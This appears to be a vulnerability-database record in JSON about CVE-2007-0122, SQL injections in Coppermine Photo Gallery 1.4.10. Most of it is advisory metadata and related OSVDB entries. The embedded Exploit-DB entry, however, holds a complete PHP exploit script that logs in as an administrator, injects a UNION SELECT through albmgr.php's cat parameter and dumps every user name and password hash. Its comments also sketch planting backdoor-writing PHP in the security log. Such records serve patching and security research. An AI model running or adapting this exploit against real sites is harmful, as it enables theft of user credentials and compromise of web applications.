{"href": "https://vulners.com/osvdb/OSVDB:35853", "history": [], "id": "OSVDB:35853", "reporter": "DarkFig()", "published": "2007-01-04T00:00:00", "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 35855](https://vulners.com/osvdb/OSVDB:35855)\n[Related OSVDB ID: 35852](https://vulners.com/osvdb/OSVDB:35852)\n[Related OSVDB ID: 35854](https://vulners.com/osvdb/OSVDB:35854)\n[Related OSVDB ID: 35856](https://vulners.com/osvdb/OSVDB:35856)\nOther Advisory URL: http://acid-root.new.fr/poc/19070104.txt\n[CVE-2007-0122](https://vulners.com/cve/CVE-2007-0122)\nBugtraq ID: 21894\n", "title": "Coppermine Photo Gallery usermgr.php gid Variable SQL Injection", "lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "type": "osvdb", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "hash": "665d7f579692ffe825c715894efa6c241ac1518ecf67128b901a8855f2ecfd67", "references": [], "edition": 1, "cvelist": ["CVE-2007-0122"], "affectedSoftware": [], "viewCount": 2, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2007-0122"]}, {"type": "osvdb", "idList": ["OSVDB:35854", "OSVDB:35852", "OSVDB:35856", "OSVDB:35855"]}, {"type": "exploitdb", "idList": ["EDB-ID:29397"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:7008"]}], "modified": "2017-04-28T13:20:32"}, "vulnersScore": 7.5}, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "a3aaf0c8f14be29f498c41197c88a7b4"}, {"key": "cvss", "hash": "9acfc3ecd06539a3534549fd05dfad8e"}, {"key": "description", "hash": "4db3ac5eb925bcd0a65984b86f7c07e5"}, {"key": "href", "hash": "fd50e9dcef9984c553fbcb71439924de"}, {"key": "modified", "hash": "3d5d76980edfffd2ff84820941d83f68"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "3d5d76980edfffd2ff84820941d83f68"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "af6b2e96f11644f43834d3edff894c4a"}, {"key": "title", "hash": "52cee7a825379fb9302a81db25a33a64"}, {"key": "type", "hash": "1327ac71f7914948578f08c54f772b10"}], "objectVersion": "1.2", "modified": "2007-01-04T00:00:00"}

{"cve": [{"lastseen": "2018-10-18T15:06:07", "bulletinFamily": "NVD", "description": "Multiple SQL injection vulnerabilities in Coppermine Photo Gallery 1.4.10 and earlier allow remote authenticated administrators to execute arbitrary SQL commands via (1) the cat parameter to albmgr.php, and possibly (2) the gid parameter to usermgr.php; (3) the start parameter to db_ecard.php; and the albumid parameter to unspecified files, related to the (4) filename_to_title and (5) del_titles functions.", "modified": "2018-10-16T12:31:18", "published": "2007-01-08T21:28:00", "id": "CVE-2007-0122", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-0122", "title": "CVE-2007-0122", "type": "cve", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "osvdb": [{"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 35855](https://vulners.com/osvdb/OSVDB:35855)\n[Related OSVDB ID: 35854](https://vulners.com/osvdb/OSVDB:35854)\n[Related OSVDB ID: 35853](https://vulners.com/osvdb/OSVDB:35853)\n[Related OSVDB ID: 35856](https://vulners.com/osvdb/OSVDB:35856)\nOther Advisory URL: http://acid-root.new.fr/poc/19070104.txt\n[CVE-2007-0122](https://vulners.com/cve/CVE-2007-0122)\nBugtraq ID: 21894\n", "modified": "2007-01-04T00:00:00", "published": "2007-01-04T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:35852", "id": "OSVDB:35852", "title": "Coppermine Photo Gallery albmgr.php cat Variable SQL Injection", "type": "osvdb", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 35855](https://vulners.com/osvdb/OSVDB:35855)\n[Related OSVDB ID: 35852](https://vulners.com/osvdb/OSVDB:35852)\n[Related OSVDB ID: 35853](https://vulners.com/osvdb/OSVDB:35853)\n[Related OSVDB ID: 35856](https://vulners.com/osvdb/OSVDB:35856)\nOther Advisory URL: http://acid-root.new.fr/poc/19070104.txt\n[CVE-2007-0122](https://vulners.com/cve/CVE-2007-0122)\nBugtraq ID: 21894\n", "modified": "2007-01-04T00:00:00", "published": "2007-01-04T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:35854", "id": "OSVDB:35854", "title": "Coppermine Photo Gallery db_ecard.php start Variable SQL Injection", "type": "osvdb", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 35852](https://vulners.com/osvdb/OSVDB:35852)\n[Related OSVDB ID: 35854](https://vulners.com/osvdb/OSVDB:35854)\n[Related OSVDB ID: 35853](https://vulners.com/osvdb/OSVDB:35853)\n[Related OSVDB ID: 35856](https://vulners.com/osvdb/OSVDB:35856)\nOther Advisory URL: http://acid-root.new.fr/poc/19070104.txt\n[CVE-2007-0122](https://vulners.com/cve/CVE-2007-0122)\nBugtraq ID: 21894\n", "modified": "2007-01-04T00:00:00", "published": "2007-01-04T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:35855", "id": "OSVDB:35855", "title": "Coppermine Photo Gallery filename_to_title Function albumid Variable SQL Injection", "type": "osvdb", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 35855](https://vulners.com/osvdb/OSVDB:35855)\n[Related OSVDB ID: 35852](https://vulners.com/osvdb/OSVDB:35852)\n[Related OSVDB ID: 35854](https://vulners.com/osvdb/OSVDB:35854)\n[Related OSVDB ID: 35853](https://vulners.com/osvdb/OSVDB:35853)\nOther Advisory URL: http://acid-root.new.fr/poc/19070104.txt\n[CVE-2007-0122](https://vulners.com/cve/CVE-2007-0122)\nBugtraq ID: 21894\n", "modified": "2007-01-04T00:00:00", "published": "2007-01-04T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:35856", "id": "OSVDB:35856", "title": "Coppermine Photo Gallery del_titles Function albumid Variable SQL Injection", "type": "osvdb", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-03T10:12:42", "bulletinFamily": "exploit", "description": "Coppermine Photo Gallery 1.x Albmgr.PHP SQL Injection Vulnerability. CVE-2007-0122. Webapps exploit for php platform", "modified": "2007-01-05T00:00:00", "published": "2007-01-05T00:00:00", "id": "EDB-ID:29397", "href": "https://www.exploit-db.com/exploits/29397/", "type": "exploitdb", "title": "Coppermine Photo Gallery 1.x Albmgr.PHP SQL Injection Vulnerability", "sourceData": "source: http://www.securityfocus.com/bid/21894/info\r\n\r\nCoppermine Photo Gallery is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. \r\n\r\nA successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.\r\n\r\nCoppermine Photo Gallery versions prior to 1.4.11 are vulnerable.\r\n\r\n#!/usr/bin/php\r\n<?php\r\n\r\n/**\r\n * This file require the PhpSploit class.\r\n * If you want to use this class, the latest\r\n * version can be downloaded from acid-root.new.fr.\r\n **/\r\nrequire(\"phpsploitclass.php\");\r\n\r\n\r\nif($argc < 4)\r\n{\r\n print \r\n\"\\n---------------------------------------------------------\";\r\n print \"\\nAffected.scr..: Coppermine Photo Gallery <= 1.4.10\";\r\n print \"\\nPoc.ID........: 19070104\";\r\n print \"\\nType..........: SQL Injection\";\r\n print \"\\nRisk.level....: Medium\";\r\n print \"\\nSrc.download..: coppermine-gallery.net\";\r\n print \"\\nPoc.link......: acid-root.new.fr/poc/19070104.txt\";\r\n print \"\\nCredits.......: DarkFig\";\r\n print \r\n\"\\n---------------------------------------------------------\";\r\n print \"\\nUsage.........: php xpl.php <url> <adminuser> \r\n<adminpass>\";\r\n print \"\\nProxyOptions..: <proxhost:proxport> \r\n<proxuser:proxpass>\";\r\n print \"\\nExample.......: php xpl.php http://c.com/ admin \r\npasswd\";\r\n print \r\n\"\\n---------------------------------------------------------\\n\";\r\n exit(1);\r\n}\r\n\r\n\r\n/*/\r\n [0] => xpl.php [1] => http://localhost/cpg1410/\r\n [2] => root [3] => toor\r\n [4] => localhost:8200 [5] => user:passwd\r\n/*/\r\n$url=$argv[1];$adu=$argv[2];\r\n$adp=$argv[3];$pxs=$argv[4];\r\n$pxa=$argv[5];\r\n\r\n$xpl = new phpsploit();\r\n$xpl->agent(\"InternetExploiter\");\r\n$xpl->cookiejar(1);\r\n$xpl->allowredirection(1);\r\n\r\nprint \"\\nheader> ===============================================\";\r\nprint \"\\nheader> Coppermine Photo Gallery 1.4.10 (SQL Injection)\";\r\nprint \"\\nheader> ===============================================\";\r\n\r\nif(!empty($pxs)){\r\n print \"\\nstatus> Using a proxy $pxs\";\r\n\r\n $xpl->proxy($pxs);\r\n}\r\n\r\nif(!empty($pxa)){\r\n print \"\\nstatus> Basic proxy authentification $pxa\";\r\n $xpl->proxyauth($pxa);\r\n}\r\n\r\n\r\n/*/\r\n Table prefix.\r\n/*/\r\nprint \"\\nstatus> Searching the version\";\r\n$xpl->get($url.'include/index.html');\r\nif(preg_match(\"#Coppermine version: \r\n([0-9]*\\.[0-9]*\\.[0-9]*)#\",$xpl->getcontent(),$matches)) print \r\n\"\\nsploit> Coppermine version \".$matches[1];\r\nelse print \"\\nsploit> Not found\";\r\n$table = !empty($matches[1]) ? \r\n'cpg'.str_replace('.','',$matches[1]).'_users' : 'cpg1410_users';\r\n\r\n\r\n/*/\r\n If you have the admin cookie (but not the password),\r\n replace lines 73=>76 by $xpl->addcookie('yourcookie');\r\n/*/\r\nprint \"\\nstatus> Trying to get logged in\";\r\n$xpl->post($url.\"login.php?referer=index.php\",\"username=$adu&password=$adp&remember_me=1&submitted=Se+Connecter\");\r\nif(!preg_match(\"#color:red#\",$xpl->getcontent())) print \"\\nsploit> \r\nDone\";\r\nelse die(\"\\nstatus> Exploit failed\\n\");\r\n\r\n\r\n/*/\r\n (usermgr.php)\r\n =============\r\n case 'group_alb_access' :\r\n if (isset($_GET['gid'])) $group_id = $_GET['gid'];\r\n $sql = \"SELECT group_name FROM [...] WHERE group_id = $group_id \r\n[...]\";\r\n $result = cpg_db_query($sql);\r\n\r\n (db_ecard.php)\r\n ==============\r\n $start = isset($_REQUEST['start']) ? $_REQUEST['start'] : ''; [...]\r\n if (!$start) {$startFrom = '0';}else{$startFrom=$start;} [...]\r\n $result = cpg_db_query(\"SELECT [...] ORDER BY $sortBy $sortDirection \r\nLIMIT $startFrom,$countTo\");\r\n\r\n (albmgr.php)\r\n ============\r\n $cat = isset($_GET['cat']) ? ($_GET['cat']) : 0;\r\n if ($cat == 1) $cat = 0;\r\n if (GALLERY_ADMIN_MODE) {\r\n $result = cpg_db_query(\"SELECT [...] WHERE category = $cat ORDER BY \r\npos ASC\");\r\n (filename_to_title())\r\n =====================\r\n $albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;\r\n $albstr = ($albumid) ? \" WHERE aid = $albumid\" : ''; [...]\r\n $result = cpg_db_query(\"SELECT * FROM {$CONFIG['TABLE_PICTURES']} \r\n$albstr\");\r\n\r\n (del_titles())\r\n ==============\r\n $albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;\r\n $albstr = ($albumid) ? \" WHERE aid = $albumid\" : '';\r\n $result = cpg_db_query(\"SELECT * FROM {$CONFIG['TABLE_PICTURES']} \r\n$albstr\");\r\n/*/\r\nprint \"\\nstatus> Retrieving all members password\";\r\n$xpl->get($url.\"albmgr.php?cat=-1/**/union/**/select/**/user_name,user_password/**/from/**/$table/*\");\r\nif(preg_match_all(\"#<option \r\nvalue=\\\"album_no=(.*),album_nm='([a-z0-9]{32})'#\",$xpl->getcontent(),$matches)) \r\nprint \"\\nsploit> Done\";\r\nelse die(\"\\nstatus> Exploit failed\\n\");\r\n\r\nprint \"\\nsploit> +----------------------------------+----------+\";\r\nprint \"\\nsploit> | PASSWORD | USER |\";\r\nprint \"\\nsploit> +----------------------------------+----------+\";\r\n\r\n\r\n/*/\r\n (init.inc.php)\r\n ==============\r\n $HTML_SUBST = array('&' => '&', '\"' => '\"', '<' => '<', \r\n'>' => '>', '%26' => '&', '%22' => '\"', '%3C' => '<', \r\n'%3E' =>\r\n'>','%27' => '&#39;', \"'\" => '&#39;');\r\n [...]\r\n if (is_array($_POST)) { // and GET, SERVER, REQUEST...\r\n foreach ($_POST as $key => $value) {\r\n if (!is_array($value))\r\n $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);\r\n if (!in_array($key, $keysToSkip) && isset($$key)) unset($$key);\r\n }\r\n\r\n ... that's why we use the html_entity_decode() function.\r\n I just wanted < for a remote php code execution sploit without admin \r\nrights :'(.\r\n When the admin view the security logs, it include \r\n\"security.log.php\"...\r\n\r\n (security.log.php)\r\n ==================\r\n [...]\r\n if (!defined('IN_COPPERMINE')) die(); ?>\r\n\r\n Denied privileged access to viewlog.php from user Guest at on January \r\n4, 2007, 2:10 pm\r\n Failed login attempt with Username: <?php mail(you); [...] \r\nfwrite(backdoor.php); [...] /* from IP 127.0.0.1 on Jan 04, 2007 at \r\n01:16 PM\r\n/*/\r\nfor($i=0;$i<count($matches[0]);$i++)\r\n{\r\n print \"\\nsploit> | \".$matches[2][$i].' | \r\n'.html_entity_decode($matches[1][$i]);\r\n if($i==(count($matches[0])-1)){\r\n print \"\\nsploit> \r\n+----------------------------------+----------+\\n\";\r\n }\r\n}\r\n\r\n\r\n?>\r\n", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/29397/"}], "securityvulns": [{"lastseen": "2018-08-31T11:09:22", "bulletinFamily": "software", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "modified": "2007-01-06T00:00:00", "published": "2007-01-06T00:00:00", "id": "SECURITYVULNS:VULN:7008", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7008", "title": "Daily web applications security vulnerabilities summary &#40;PHP, ASP, JSP, CGI, Perl&#41;", "type": "securityvulns", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}